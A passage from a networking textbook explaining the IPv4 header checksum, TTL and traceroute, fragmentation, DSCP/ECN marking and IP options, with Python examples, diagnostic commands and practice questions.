    print(f"{k:<14} {v}")
# version        4
# header_bytes   20
# dscp           0
# ecn            0
# total_length   60
# payload_bytes  40
# id             0xa1b2
# DF             True
# MF             False
# frag_offset    0
# ttl            64
# protocol       TCP
# checksum       0xc73d
# src            192.168.1.20
# dst            8.8.8.8

# The header checksum: ones-complement sum of 16-bit words, then inverted.
# Recomputed at EVERY hop, because TTL changes at every hop.

def checksum16(data: bytes) -> int:
    if len(data) % 2:
        data += b"\x00"
    total = 0
    for i in range(0, len(data), 2):
        total += (data[i] << 8) | data[i + 1]
        total = (total & 0xFFFF) + (total >> 16)   # fold the carry back in
    return ~total & 0xFFFF                         # ones complement

hdr = bytearray(bytes.fromhex("450000 3ca1b24000400600 00c0a8011408080808".replace(" ","")))
# checksum field zeroed before computing, as the algorithm requires
print(f"computed checksum: 0x{checksum16(bytes(hdr)):04x}")   # computed checksum: 0xc73d

# Verification at the receiver: summing the header INCLUDING the checksum
# must yield zero.
hdr[10:12] = (0xc73d).to_bytes(2, "big")
print(f"verify (0 means good): {checksum16(bytes(hdr))}")     # verify (0 means good): 0

# And why every router must redo it:
def ttl_decrement(hdr: bytearray) -> bytearray:
    h = bytearray(hdr)
    h[8] -= 1                       # TTL is byte 8
    h[10:12] = b"\x00\x00"          # zero the checksum
    h[10:12] = checksum16(bytes(h)).to_bytes(2, "big")   # recompute
    return h
print("after one hop, ttl =", ttl_decrement(hdr)[8])      # after one hop, ttl = 63

# Reading the header on a live capture.
$ sudo tcpdump -i eth0 -v -n -c 1 'tcp port 443'
# IP (tos 0x0, ttl 64, id 41394, offset 0, flags [DF], proto TCP (6), length 60)
#     192.168.1.20.51234 > 93.184.216.34.443: Flags [S], seq 2847261...
#     ^^^^^^^^^^^ every header field tcpdump prints maps to the diagram above

# Protocol numbers are a registry, like EtherType and port numbers:
$ grep -E "^(icmp|tcp|udp|ospf|gre|esp)\s" /etc/protocols
# icmp  1  ICMP    # internet control message protocol
# tcp   6  TCP     # transmission control protocol
# udp   17 UDP     # user datagram protocol
# gre   47 GRE     # general routing encapsulation
# esp   50 IPSEC-ESP
# ospf  89 OSPFIGP # Open Shortest Path First IGP

Key takeaways

• The IPv4 header is 20 bytes minimum, 60 maximum; IHL counts 32-bit words and exists only because options are variable-length.
• Total Length covers header plus payload and caps a packet at 65,535 bytes; payload length = Total Length - IHL*4.
• Fragment Offset is in 8-byte units because 13 bits cannot otherwise address a 65,535-byte packet — hence non-final fragments must be multiples of 8 bytes.
• Flags: DF (Don't Fragment) and MF (More Fragments); Identification ties fragments of one packet together.
• The header checksum covers the header only and is recomputed at every hop because TTL changes; IPv6 removed it entirely.
• Protocol is the demultiplexing key for the layer above — 1 ICMP, 6 TCP, 17 UDP, 89 OSPF — the same pattern as EtherType below and ports above.
• Version is the first field so that a parser can immediately tell IPv4 from IPv6.

🧪 Practice

1. Decode 45 00 05 dc 1c 46 20 00 3f 11 ...: give version, header length, total length, payload size, flags, TTL, and protocol.
2. Explain why the maximum options size is exactly 40 bytes, deriving it from the IHL field's width.
3. Explain why the header checksum must be recomputed at every router, and what IPv6 relies on instead.
4. Interview-style: The IPv4 header checksum protects only the header, not the data. Is that a design flaw? (Hint: ask which layer is in a position to detect payload corruption that actually matters to the application, and what checking it at every hop would cost.)

TTL and Loop Prevention

Theory

Routing protocols converge, but not instantly. During the seconds of inconsistency after a topology change, two routers can each believe the other is the correct next hop for a destination. A packet caught in that situation would bounce between them forever, consuming bandwidth on both links and never arriving. With a steady arrival of such packets, the loop saturates the links and takes down traffic that has nothing to do with the affected destination.

IP's defence is deliberately crude and completely effective: every packet carries a hop budget. The TTL (Time To Live) field is an 8-bit counter. Every router that forwards the packet decrements it by one. When a router decrements TTL to zero, it discards the packet and sends an ICMP Time Exceeded message back to the source.

The name is a historical artefact. TTL was originally intended as a measure of seconds, with routers subtracting the time a packet spent queued. In practice nobody implemented that, and it became a pure hop counter. IPv6 renamed the field Hop Limit, which is what it always actually was.

TTL does not prevent loops — a loop still forms, and packets still circle. What TTL guarantees is that every packet's life is bounded, so a loop degrades performance instead of destroying the network, and it self-clears the moment routing converges.

Common initial values are a useful fingerprint, because a TTL is set by the originating operating system and then decremented along the path:

Initial TTL	Typical origin
64	Linux, macOS, modern BSD
128	Windows
255	Cisco IOS, many network devices, and most routing protocol packets

Since observed TTL = initial TTL − hops traversed, a reply arriving with TTL 57 almost certainly started at 64 and crossed 7 routers. This is how OS fingerprinting tools make their first guess, and it is a quick sanity check on path length.

TTL's expiry behaviour turns out to be more useful than its loop protection. Traceroute is built entirely on it: send a packet with TTL=1, and the first router discards it and identifies itself in the ICMP Time Exceeded. Send TTL=2 and the second router does the same. Increment until the destination replies, and the path reveals itself hop by hop. The mechanism exists only because expiry is required to generate an ICMP error naming the discarding router.

TTL also enables a neat security primitive, the GTSM (Generalized TTL Security Mechanism, RFC 5082). A directly connected peer's packets always arrive with TTL 255, because nothing decremented them. So configure the receiver to accept only packets with TTL ≥ 254. An attacker more than one hop away cannot forge this, since any router between them would decrement the field. BGP uses this (ttl-security hops 1) to make off-path session spoofing infeasible.

Finally, TTL expiry is a punt to the control plane — the router must generate an ICMP message, which the ASIC cannot do. This is the attack discussed in 5.1: a flood of TTL=1 packets, far below line rate, exhausts a router's CPU. CoPP is the countermeasure.

Examples

A routing loop, bounded by TTL

  R1 thinks the path to 10.9.9.0/24 is via R2
  R2 thinks the path to 10.9.9.0/24 is via R1     (transient inconsistency)

      packet TTL=64
      R1 --(63)--> R2 --(62)--> R1 --(61)--> R2 ...
                                                 ...
      R1 --(1)--> R2: decrements to 0 -> DROP
                      and sends ICMP Time Exceeded to the source.

  The loop existed for 64 hops instead of forever.
  Without TTL, one packet per second entering this loop would accumulate
  until the links saturated and stayed saturated.


Traceroute: weaponised TTL expiry

  probe TTL=1 ->  R1 decrements to 0 -> DROP + ICMP Time Exceeded from R1
                  "hop 1 is 192.168.1.1"
  probe TTL=2 ->  R1(1) -> R2 decrements to 0 -> ICMP from R2
                  "hop 2 is 10.20.0.1"
  probe TTL=3 ->  R1(2) -> R2(1) -> R3 -> ICMP from R3
                  "hop 3 is 62.115.120.1"
  ...
  probe TTL=n ->  reaches the destination, which replies differently
                  (ICMP Port Unreachable or Echo Reply) -> stop.


GTSM: a forgery an attacker cannot commit

  legitimate peer, directly connected:
      sends TTL=255  --(no router in between)-->  arrives TTL=255  ACCEPT

  attacker, 4 hops away:
      sends TTL=255  --(4 routers decrement)-->   arrives TTL=251  REJECT
      sends TTL=255 and... cannot do better. The field is decremented
      by routers the attacker does not control.

def forward_path(initial_ttl, hops):
    """Walk a packet across a path, showing TTL at each step."""
    ttl = initial_ttl
    for hop in range(1, hops + 1):
        ttl -= 1                                   # every router decrements
        if ttl == 0:
            return f"DROPPED at hop {hop}; ICMP Time Exceeded sent to source"
        print(f"  hop {hop}: forwarded, TTL now {ttl}")
    return f"DELIVERED with TTL {ttl}"

print(forward_path(5, 8))
#   hop 1: forwarded, TTL now 4
#   hop 2: forwarded, TTL now 3
#   hop 3: forwarded, TTL now 2
#   hop 4: forwarded, TTL now 1
# DROPPED at hop 5; ICMP Time Exceeded sent to source

# Inferring the sender's OS and the path length from an observed TTL.
COMMON_INITIAL = [64, 128, 255]

def infer(observed_ttl):
    initial = min((t for t in COMMON_INITIAL if t >= observed_ttl), default=None)
    guess = {64: "Linux/macOS/BSD", 128: "Windows", 255: "network device"}[initial]
    return initial, initial - observed_ttl, guess

for ttl in (64, 57, 128, 117, 250):
    init, hops, os_guess = infer(ttl)
    print(f"observed TTL {ttl:>3} -> started at {init:>3}, crossed {hops:>2} hops, likely {os_guess}")
# observed TTL  64 -> started at  64, crossed  0 hops, likely Linux/macOS/BSD
# observed TTL  57 -> started at  64, crossed  7 hops, likely Linux/macOS/BSD
# observed TTL 128 -> started at 128, crossed  0 hops, likely Windows
# observed TTL 117 -> started at 128, crossed 11 hops, likely Windows
# observed TTL 250 -> started at 255, crossed  5 hops, likely network device

# GTSM admission check.
def gtsm_accept(arrived_ttl, max_hops=1):
    return arrived_ttl >= 255 - max_hops + 1

print(gtsm_accept(255))   # True  — directly connected peer
print(gtsm_accept(251))   # False — four hops away; cannot be the real peer

# Setting TTL explicitly, and watching it expire.
$ ping -c1 -t 1 8.8.8.8
# From 192.168.1.1 icmp_seq=1 Time to live exceeded
#      ^^^^^^^^^^^ the FIRST router identified itself — this is traceroute's core

$ traceroute -n -q1 -m 6 93.184.216.34
#  1  192.168.1.1     1.2 ms      <- ICMP Time Exceeded from TTL=1 probe
#  2  10.20.0.1       9.8 ms      <- from TTL=2 probe
#  3  62.115.120.1   11.4 ms
#  4  * * *                       <- this hop drops probes or rate-limits ICMP;
#                                    the path is fine, the REPORTING is missing
#  5  93.184.216.34  11.9 ms

# TTL as evidence in a capture:
$ sudo tcpdump -i eth0 -n -v icmp | head -2
# IP (tos 0x0, ttl 57, id 0, offset 0, flags [none], proto ICMP (6), length 84)
#                ^^^ 64 - 57 = 7 routers between us and the sender

# GTSM on a BGP session — a one-line, high-value hardening:
# router bgp 64500
#   neighbor 10.0.0.2 ttl-security hops 1
#   ^ accept only TTL >= 254; off-path spoofing becomes impossible

Key takeaways

• TTL is an 8-bit hop budget, decremented by every router; at zero the packet is dropped and ICMP Time Exceeded is returned.
• It does not prevent loops — it bounds them, converting an unrecoverable failure into temporary degradation that self-clears on convergence.
• The name is historical; IPv6 correctly renames it Hop Limit.
• Initial values fingerprint the sender: 64 (Linux/macOS), 128 (Windows), 255 (network devices); hops traversed = initial − observed.
• Traceroute is built entirely on TTL expiry: incrementing TTL forces each successive router to identify itself.
• GTSM uses TTL in reverse — requiring TTL ≥ 254 proves the peer is directly connected, because an off-path attacker cannot prevent intervening routers from decrementing.
• TTL expiry is a control-plane punt, so a low-rate TTL=1 flood can exhaust a router's CPU; CoPP bounds it.

🧪 Practice

1. A packet leaves with TTL 64 and arrives with TTL 52. State the number of routers crossed and the likely sending OS.
2. Explain precisely how traceroute discovers hop 4 of a path, naming the field it manipulates and the message it expects back.
3. Explain why an attacker seven hops away cannot defeat GTSM even with full control of their own packet's TTL field.
4. Interview-style: TTL bounds loops but does not prevent them. Why did the designers accept that, rather than requiring routers to detect loops directly? (Hint: consider what state a router would need to detect that it has seen a particular packet before, and multiply that by 148 million packets per second.)

Fragmentation and Reassembly

Theory

IP runs over many link technologies, and each has its own MTU (Maximum Transmission Unit) — the largest payload a single frame can carry. Ethernet is 1500 bytes. PPPoE DSL is 1492. A WireGuard tunnel is typically 1420. 802.11 can differ again. When a packet larger than the outgoing link's MTU must be forwarded, something has to give.

IPv4's answer is fragmentation: the router splits the packet into pieces that fit, each of which becomes a valid IP packet in its own right with its own header. Three header fields carry the bookkeeping:

• Identification — copied to every fragment, tying them together as pieces of one original.
• MF (More Fragments) — set on every fragment except the last, so the receiver knows when it has the end.
• Fragment Offset — where this fragment's payload belongs in the original, counted in 8-byte units.

Reassembly happens only at the destination host, never at intermediate routers. This is a deliberate choice: fragments may take different paths, so no single router is guaranteed to see them all, and requiring reassembly in the middle would force routers to hold per-packet state. The destination allocates a buffer, drops fragments in at their offsets, and reassembles when MF=0 has arrived and there are no gaps.

Fragmentation is, in practice, something to avoid rather than rely on, for several compounding reasons:

Loss is amplified. There is no fragment-level retransmission. Lose one fragment out of ten and the entire original packet is undeliverable, so the transport must resend all of it. A 1% fragment loss rate becomes roughly a 10% packet loss rate.

Reassembly costs the receiver memory and time, and holding partial packets while waiting for the rest is a denial-of-service opportunity in itself.

Firewalls and load balancers struggle. Only the first fragment carries the TCP or UDP header, so only the first fragment has port numbers. Stateless filters cannot classify the rest, and attackers have historically exploited exactly this (tiny fragment attacks, overlapping fragment attacks such as teardrop).

Efficiency drops. Every fragment pays a fresh 20-byte header.

The alternative is the DF (Don't Fragment) flag. With DF set, a router that cannot forward the packet must discard it and return ICMP Destination Unreachable, code 4 — Fragmentation Needed, which includes the MTU of the constraining link. The sender then lowers its packet size. This is Path MTU Discovery (covered in 5.5), and it is how modern TCP works by default: DF is set on essentially all TCP traffic.

IPv6 goes further and removes router fragmentation entirely. Only the source may fragment, using an extension header; routers must drop oversized packets and return ICMPv6 Packet Too Big. This keeps routers simpler and forces PMTUD to work.

Examples

Fragmenting a 4000-byte packet for a 1500-byte MTU

  Original: 20-byte header + 3980 bytes of data, ID=0x1234

  MTU 1500 -> each fragment: 20 header + up to 1480 data
  1480 is divisible by 8, as required by the offset field's units.

  Frag 1: ID=0x1234  MF=1  offset=0      data bytes    0..1479   (1480)
  Frag 2: ID=0x1234  MF=1  offset=185    data bytes 1480..2959   (1480)
  Frag 3: ID=0x1234  MF=0  offset=370    data bytes 2960..3979   (1020)
                              ^^^ 2960 / 8 = 370      ^^^ MF=0 = last

  Bytes on the wire: 3 x 20 header + 3980 data = 4040 (was 4000).
  Only fragment 1 contains the TCP header, so only it has port numbers.


Loss amplification — the reason to avoid fragmentation

  one 4000-byte packet, 3 fragments, 1% loss per fragment:
      P(all three arrive) = 0.99^3 = 0.9703
      effective packet loss = 2.97%, not 1%

  the whole original must be retransmitted if ANY fragment is lost.


DF set: the router refuses instead of fragmenting

    [host] --1500-- [R1] --1400-- [R2] ---- [dest]
       |
       +-- sends 1500-byte packet with DF=1
                     |
                     R1 cannot fit it on the 1400 link, and DF forbids splitting
                     -> DROP
                     -> ICMP Type 3 Code 4 "Fragmentation Needed, MTU 1400"
       <-------------+
       host lowers its packet size to 1400 and retries.  <- PMTUD working

def fragment(total_payload, mtu, ident=0x1234, header=20):
    """Split an IP payload into fragments that fit the MTU."""
    max_data = (mtu - header) // 8 * 8      # must be a multiple of 8 bytes
    frags, offset_bytes, remaining = [], 0, total_payload
    while remaining > 0:
        take = min(max_data, remaining)
        remaining -= take
        frags.append({
            "id": hex(ident),
            "offset_units": offset_bytes // 8,   # the header field's value
            "offset_bytes": offset_bytes,
            "data": take,
            "MF": 1 if remaining > 0 else 0,
            "wire_bytes": take + header,
        })
        offset_bytes += take
    return frags

frags = fragment(total_payload=3980, mtu=1500)
print(f"{'#':<3}{'ID':<9}{'offset(u)':>10}{'offset(B)':>11}{'data':>7}{'MF':>4}{'wire':>7}")
for i, f in enumerate(frags, 1):
    print(f"{i:<3}{f['id']:<9}{f['offset_units']:>10}{f['offset_bytes']:>11}"
          f"{f['data']:>7}{f['MF']:>4}{f['wire_bytes']:>7}")
print(f"\noriginal on wire: {3980 + 20} bytes")
print(f"fragmented total: {sum(f['wire_bytes'] for f in frags)} bytes")
# #  ID        offset(u)  offset(B)   data  MF   wire
# 1  0x1234            0          0   1480   1   1500
# 2  0x1234          185       1480   1480   1   1500
# 3  0x1234          370       2960   1020   0   1040
#
# original on wire: 4000 bytes
# fragmented total: 4040 bytes

# Loss amplification, quantified.
def effective_loss(frag_count, per_frag_loss):
    return 1 - (1 - per_frag_loss) ** frag_count

for n in (1, 3, 5, 10):
    for p in (0.01, 0.02):
        print(f"{n:>2} fragments at {p:.0%} loss -> effective packet loss "
              f"{effective_loss(n, p):.2%}")
#  1 fragments at 1% loss -> effective packet loss 1.00%
#  1 fragments at 2% loss -> effective packet loss 2.00%
#  3 fragments at 1% loss -> effective packet loss 2.97%
#  3 fragments at 2% loss -> effective packet loss 5.88%
#  5 fragments at 1% loss -> effective packet loss 4.90%
#  5 fragments at 2% loss -> effective packet loss 9.61%
# 10 fragments at 1% loss -> effective packet loss 9.56%
# 10 fragments at 2% loss -> effective packet loss 18.29%

# Reassembly at the destination: buffer by ID, deliver only when complete.

class Reassembler:
    def __init__(self):
        self.buffers = {}          # ident -> {"parts": {...}, "total": int|None}

    def receive(self, ident, offset_units, data_len, mf):
        buf = self.buffers.setdefault(ident, {"parts": {}, "total": None})
        buf["parts"][offset_units * 8] = data_len
        if mf == 0:
            # The last fragment reveals the original's total size.
            buf["total"] = offset_units * 8 + data_len

        if buf["total"] is None:
            return f"ID {ident}: waiting (last fragment not yet seen)"

        # Walk the buffer looking for a gap.
        pos = 0
        while pos in buf["parts"]:
            pos += buf["parts"][pos]
        if pos == buf["total"]:
            del self.buffers[ident]
            return f"ID {ident}: REASSEMBLED {pos} bytes -> deliver to transport"
        return f"ID {ident}: incomplete, gap at byte {pos} of {buf['total']}"

r = Reassembler()
print(r.receive(0x1234, 0,   1480, mf=1))
print(r.receive(0x1234, 370, 1020, mf=0))
print(r.receive(0x1234, 185, 1480, mf=1))
# ID 4660: waiting (last fragment not yet seen)
# ID 4660: incomplete, gap at byte 1480 of 3980
# ID 4660: REASSEMBLED 3980 bytes -> deliver to transport
# Fragments arrived out of order; reassembly does not care. A MISSING
# fragment, however, strands the whole buffer until a timer expires.

# Forcing and observing fragmentation.
$ ping -c1 -s 3972 -M dont 192.168.1.50      # 3972 + 8 ICMP + 20 IP = 4000
$ sudo tcpdump -i eth0 -n 'ip[6:2] & 0x3fff != 0 or ip[6] & 0x20 != 0'
# IP 192.168.1.20 > 192.168.1.50: ICMP echo request, id 1, seq 1, length 1480
# IP 192.168.1.20 > 192.168.1.50: ip-proto-1 1480      <- no ICMP header visible
# IP 192.168.1.20 > 192.168.1.50: ip-proto-1 1020      <- only frag 1 had it
#    ^ this is exactly why stateless firewalls cannot classify fragments 2 and 3

# DF set: the packet is refused rather than split.
$ ping -c1 -s 1472 -M do 93.184.216.34        # 1472+28 = 1500, DF set
# PING 93.184.216.34 (93.184.216.34) 1472(1500) bytes of data.
# From 10.20.0.1 icmp_seq=1 Frag needed and DF set (mtu = 1400)
#                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ PMTUD signal

$ ip route get 93.184.216.34
# 93.184.216.34 via 192.168.1.1 dev eth0 src 192.168.1.20 mtu 1400
#                                                         ^^^^^^^^ the kernel
#                                                         cached the learned PMTU

Key takeaways

• Fragmentation splits a packet that exceeds the next link's MTU; Identification, MF, and Fragment Offset carry the bookkeeping.
• Fragment Offset is in 8-byte units, so every non-final fragment's payload must be a multiple of 8.
• Reassembly happens only at the destination, because fragments may take different paths and routers must not hold per-packet state.
• Losing one fragment forces retransmission of the whole original — 1% fragment loss becomes ~3% packet loss for a 3-fragment packet.
• Only the first fragment carries the transport header, so ports are invisible in later fragments — a persistent problem for stateless firewalls and a classic attack vector.
• The DF flag makes a router return ICMP Type 3 Code 4 (Fragmentation Needed) with the constraining MTU instead of splitting — the basis of Path MTU Discovery.
• IPv6 forbids router fragmentation entirely; only the source may fragment, and routers return ICMPv6 Packet Too Big.

🧪 Practice

1. Fragment a 5,000-byte IP packet for a 1,500-byte MTU. Give the offset (in units), data length, and MF flag for every fragment.
2. Explain why a fragment's payload must be a multiple of 8 bytes, deriving the reason from the offset field's width.
3. Compute the effective packet loss for a 4-fragment packet on a link with 3% per-fragment loss, and state the implication for large UDP datagrams.
4. Interview-style: Why does IPv6 forbid routers from fragmenting, given that IPv4 allowed it for decades? (Hint: consider the per-hop cost, the fact that reassembly happens only at the destination anyway, and what removing the fallback forces senders to do.)

Type of Service and DSCP

Theory

IP's best-effort model treats every packet identically, which is the right default and the wrong answer for a network carrying both a voice call and a backup job. The Type of Service byte — the ninth byte of the header — is where a packet declares how it would like to be treated.

The field has been redefined once, and both definitions still appear in documentation, which is a common source of confusion.

The original ToS (RFC 791) split the byte into a 3-bit IP Precedence value (0–7) plus individual flags for delay, throughput, and reliability. The flags were essentially never honoured, and the scheme offered only eight levels.

The modern definition (RFC 2474) reuses the same byte as:

• DSCP (Differentiated Services Code Point) — the upper 6 bits, giving 64 distinct classes.
• ECN (Explicit Congestion Notification) — the lower 2 bits, a separate mechanism for signalling congestion without dropping packets.

  bits:   0   1   2   3   4   5   6   7
        +---+---+---+---+---+---+---+---+
        |        DSCP (6 bits)  | ECN   |
        +---+---+---+---+---+---+---+---+

A crucial point that trips people up: DSCP is only a label. Marking a packet EF does not make it fast. The marking has effect only if devices along the path are configured with a queueing policy that treats that marking differently — priority queues, weighted fair queues, shapers. An unconfigured network ignores DSCP completely, and traffic marked "highest priority" travels exactly as fast as everything else.

The standard code points are designed for backwards compatibility with IP Precedence:

Name	DSCP (dec)	Binary	Intended for
DF / BE (Default)	0	000000	Best effort, everything unmarked
CS1–CS7	8, 16, 24, 32, 40, 48, 56	xxx000	Class Selector; matches old IP Precedence
AF11–AF43	10–38	aaadd0	Assured Forwarding: 4 classes x 3 drop precedences
EF	46	101110	Expedited Forwarding — low latency, low jitter (voice)
VA	44	101100	Voice Admit

AF encoding rewards a moment of attention because it looks arbitrary and is not: AFxy where x is the class (1–4, higher gets more bandwidth) and y is the drop precedence (1–3, higher is dropped sooner under congestion). AF31 and AF33 receive the same bandwidth treatment; AF33 is discarded first when the queue fills. The value is 8x + 2y.

Two operational realities matter more than the table:

Markings are not trusted across boundaries. Any host can set any DSCP value, so a network that honoured markings from outside would let anyone claim priority. Real networks re-mark at the trust boundary — the access switch or provider edge — resetting or overwriting whatever arrived.

Most of the internet ignores or clears DSCP. End-to-end QoS across provider boundaries essentially does not exist. DSCP is valuable within an administrative domain: a campus, a data centre, an MPLS WAN where the carrier has a contracted policy.

ECN in the lower two bits solves a different problem. Rather than dropping a packet to signal congestion, a router experiencing congestion sets CE (Congestion Experienced, 11) on packets whose senders have indicated ECN support (10 or 01). The receiver echoes this back via TCP, and the sender slows down — congestion control without the loss and retransmission. Chapter 7 develops this; the point here is that the two bits are structurally part of the same byte as DSCP but functionally unrelated.

Examples

One byte, two meanings

  Original ToS (RFC 791, historical):
    +-----------+---+---+---+---+
    | Precedence| D | T | R | 0 |
    +-----------+---+---+---+---+
      3 bits      delay/throughput/reliability flags — never honoured

  Modern DiffServ (RFC 2474/3168):
    +-----------------------+-------+
    |      DSCP (6 bits)    |  ECN  |
    +-----------------------+-------+
      64 classes              2 bits


AF encoding is systematic: AFxy = 8x + 2y

           drop precedence -->  low(1)   med(2)   high(3)
  class 1 (lowest bandwidth)     AF11=10  AF12=12  AF13=14
  class 2                        AF21=18  AF22=20  AF23=22
  class 3                        AF31=26  AF32=28  AF33=30
  class 4 (highest bandwidth)    AF41=34  AF42=36  AF43=38
                                 ^^^^^^^ same queue as AF43,
                                         but AF43 is dropped first


Marking alone changes nothing

  [host marks EF=46] --> [switch: no QoS policy] --> same queue as everything
                                                     ^ EF traffic gains NOTHING

  [host marks EF=46] --> [switch: priority-queue for EF] --> served first
                                                     ^ NOW the marking matters

DSCP_NAMES = {
    0: "DF (best effort)", 8: "CS1", 10: "AF11", 12: "AF12", 14: "AF13",
    16: "CS2", 18: "AF21", 20: "AF22", 22: "AF23",
    24: "CS3", 26: "AF31", 28: "AF32", 30: "AF33",
    32: "CS4", 34: "AF41", 36: "AF42", 38: "AF43",
    40: "CS5", 44: "VA", 46: "EF (expedited)", 48: "CS6", 56: "CS7",
}
ECN_NAMES = {0b00: "Not-ECT", 0b01: "ECT(1)", 0b10: "ECT(0)", 0b11: "CE (congested!)"}

def decode_tos(tos_byte):
    dscp = tos_byte >> 2            # upper 6 bits
    ecn  = tos_byte & 0b11          # lower 2 bits
    return {
        "tos_hex": f"0x{tos_byte:02x}",
        "dscp_dec": dscp,
        "dscp_bin": f"{dscp:06b}",
        "dscp_name": DSCP_NAMES.get(dscp, f"unassigned ({dscp})"),
        "ecn": ECN_NAMES[ecn],
    }

for tos in (0x00, 0xB8, 0x68, 0x88, 0xB9, 0x03):
    d = decode_tos(tos)
    print(f"{d['tos_hex']}  DSCP {d['dscp_dec']:>2} ({d['dscp_bin']}) "
          f"{d['dscp_name']:<18} ECN {d['ecn']}")
# 0x00  DSCP  0 (000000) DF (best effort)   ECN Not-ECT
# 0xb8  DSCP 46 (101110) EF (expedited)     ECN Not-ECT
# 0x68  DSCP 26 (011010) AF31               ECN Not-ECT
# 0x88  DSCP 34 (100010) AF41               ECN Not-ECT
# 0xb9  DSCP 46 (101110) EF (expedited)     ECN ECT(1)
# 0x03  DSCP  0 (000000) DF (best effort)   ECN CE (congested!)

# The AF formula, verified.
for cls in range(1, 5):
    row = [f"AF{cls}{d}={8*cls + 2*d:>2}" for d in range(1, 4)]
    print(f"class {cls}: " + "  ".join(row))
# class 1: AF11=10  AF12=12  AF13=14
# class 2: AF21=18  AF22=20  AF23=22
# class 3: AF31=26  AF32=28  AF33=30
# class 4: AF41=34  AF42=36  AF43=38

# Why the trust boundary exists.
def apply_policy(arrived_dscp, port_trust):
    if port_trust == "untrusted":
        return 0, "re-marked to DF: anyone could have set EF on their own laptop"
    return arrived_dscp, "honoured: this port is inside the trust boundary"

for trust in ("untrusted", "trusted"):
    out, why = apply_policy(46, trust)
    print(f"EF arrives on an {trust:<10} port -> DSCP {out:<3} ({why})")
# EF arrives on an untrusted  port -> DSCP 0   (re-marked to DF: anyone could have set EF on their own laptop)
# EF arrives on an trusted    port -> DSCP 46  (honoured: this port is inside the trust boundary)

# Setting and observing DSCP.
$ ping -c1 -Q 0xb8 192.168.1.50              # 0xb8 = DSCP 46 = EF
$ sudo tcpdump -i eth0 -n -v icmp | head -1
# IP (tos 0xb8,ECT(0), ttl 64, id 5512, offset 0, flags [DF], proto ICMP (1)...)
#        ^^^^^^ tcpdump decodes the byte for you

# Marking from an application, in one socket option:
# setsockopt(fd, IPPROTO_IP, IP_TOS, &(int){0xb8}, sizeof(int));

# A policy that makes the marking mean something (Cisco-style):
# class-map match-all VOICE
#   match dscp ef
# policy-map WAN-OUT
#   class VOICE
#     priority percent 20          <- strict priority queue, capped at 20%
#   class class-default
#     fair-queue
# interface GigabitEthernet0/1
#   service-policy output WAN-OUT

$ show policy-map interface Gi0/1 | include Class|pkts
#   Class-map: VOICE (match-all)
#     418291 packets, 62 MB, 5 minute rate 184000 bps
#   Class-map: class-default (match-any)
#     9128422 packets, 11 GB, drops: 84122
#                                     ^^^^^ default traffic is dropped;
#                                           EF is not. The policy is working.

# What actually survives across the internet — usually nothing:
$ tcpdump -n 'ip[1] != 0' -c 5        # packets arriving with a non-zero ToS byte
# (often silent on inbound internet traffic: providers clear DSCP at the edge)

Key takeaways

• The ToS byte is now split into DSCP (6 bits, 64 classes) and ECN (2 bits); the original RFC 791 precedence-and-flags layout is historical.
• DSCP is a label, not a guarantee — it changes nothing unless devices on the path have a queueing policy matching it.
• Key code points: DF/BE = 0, EF = 46 (voice, low latency), CS1–CS7 for IP Precedence compatibility, AF11–AF43 for assured forwarding.
• AFxy = 8x + 2y: x is the bandwidth class, y is the drop precedence — AF33 is dropped before AF31 at the same bandwidth.
• Markings are re-marked at the trust boundary, because any host can claim any priority.
• End-to-end DSCP does not survive across the internet; it is useful within one administrative domain or under a contracted carrier policy.
• ECN occupies the same byte but is unrelated: routers set CE to signal congestion without dropping, letting the sender slow down without loss.

🧪 Practice

1. Decode ToS bytes 0x2e, 0xb8, and 0x0a into DSCP value, standard name, and ECN state.
2. Compute the DSCP values for AF12, AF23, and AF41 using the formula, and state which of AF41 and AF43 is dropped first and why.
3. Explain why an application marking its own packets EF gains nothing on the public internet but may gain a great deal on a corporate MPLS WAN.
4. Interview-style: Why do networks re-mark DSCP at the trust boundary instead of honouring what arrives? (Hint: ask what stops a user's laptop from marking every packet it sends as the highest priority class.)

IP Options

Theory

The IPv4 header includes an extensibility mechanism: up to 40 bytes of options following the fixed 20-byte header. The IHL field reports the resulting total length, which is why IHL exists at all. It is a reasonable design that, in practice, failed — and the reasons it failed are more instructive than the options themselves.

Options use a TLV (Type-Length-Value) encoding. The type byte itself is subdivided: a copied flag (whether the option must be replicated into every fragment), a 2-bit class, and a 5-bit number.

The defined options include:

Option	Number	Purpose
EOOL	0	End of option list
NOP	1	No operation — padding for alignment
Record Route	7	Each router appends its own address
Timestamp	68	Each router appends a timestamp
Loose Source Routing (LSRR)	131	Sender specifies routers that must be visited
Strict Source Routing (SSRR)	137	Sender specifies the entire hop-by-hop path
Router Alert	148	"Examine this packet even though it is not for you"

Three problems killed them.

Performance. Routers fast-path fixed-format 20-byte headers in hardware. An option-bearing packet has a variable-length header requiring parsing, so it is punted to the CPU — orders of magnitude slower. A flow using options can be hundreds of times slower than the same flow without, purely because it misses the ASIC.

Security. Source routing is the worst offender. It lets the sender dictate the path, which defeats routing-based security entirely: an attacker can route traffic around a firewall, or send a packet with a spoofed source address and a return path through their own machine, receiving replies they should never see. Record Route and Timestamp leak internal topology to anyone who asks. Essentially every network on the internet now drops packets with IP options at the edge, and source routing has been deprecated outright by RFC 7126.

Capacity. Forty bytes is not much. Record Route holds only nine addresses — fewer than a typical internet path has hops — so it cannot even complete its own job on a real path.

The design lesson generalises, and IPv6 learned it directly. Optional features that the fast path must parse do not survive. IPv6 replaced options with extension headers, which form a linked chain after the fixed 40-byte base header. Routers parse only the base header unless a hop-by-hop header is explicitly present; everything else is for the destination alone. It is the same capability, restructured so the common case stays fast.

One option remains genuinely important: Router Alert. It tells routers to inspect a packet that is not addressed to them, which is exactly what protocols like RSVP and IGMP need — signalling messages that travel to a destination but must be processed along the way. It survived because it has no cheaper alternative.

Examples

Header with options — IHL grows, the fast path is lost

  no options:      IHL=5  -> 20 bytes   -> ASIC forwarding, ~nanoseconds
  with options:    IHL=8  -> 32 bytes   -> PUNT TO CPU, ~microseconds+
                   IHL=15 -> 60 bytes   -> maximum: 40 bytes of options


TLV encoding of an option's type byte

    bit:  0    1 2     3 4 5 6 7
        +----+-----+-------------+
        |copy|class|   number    |
        +----+-----+-------------+
          ^     ^        ^
          |     |        +-- which option
          |     +----------- 0=control, 2=debug/measurement
          +----------------- 1 = copy into EVERY fragment

    Record Route = 7:      0 00 00111 = 0x07
    LSRR         = 131:    1 00 00011 = 0x83   <- copied flag set


Why source routing is banned

  Normal:   attacker -> [firewall] -> XXX blocked
  LSRR:     attacker sets route: via a permitted host, then to the target

     attacker ---> trusted.example.com ---> internal-db
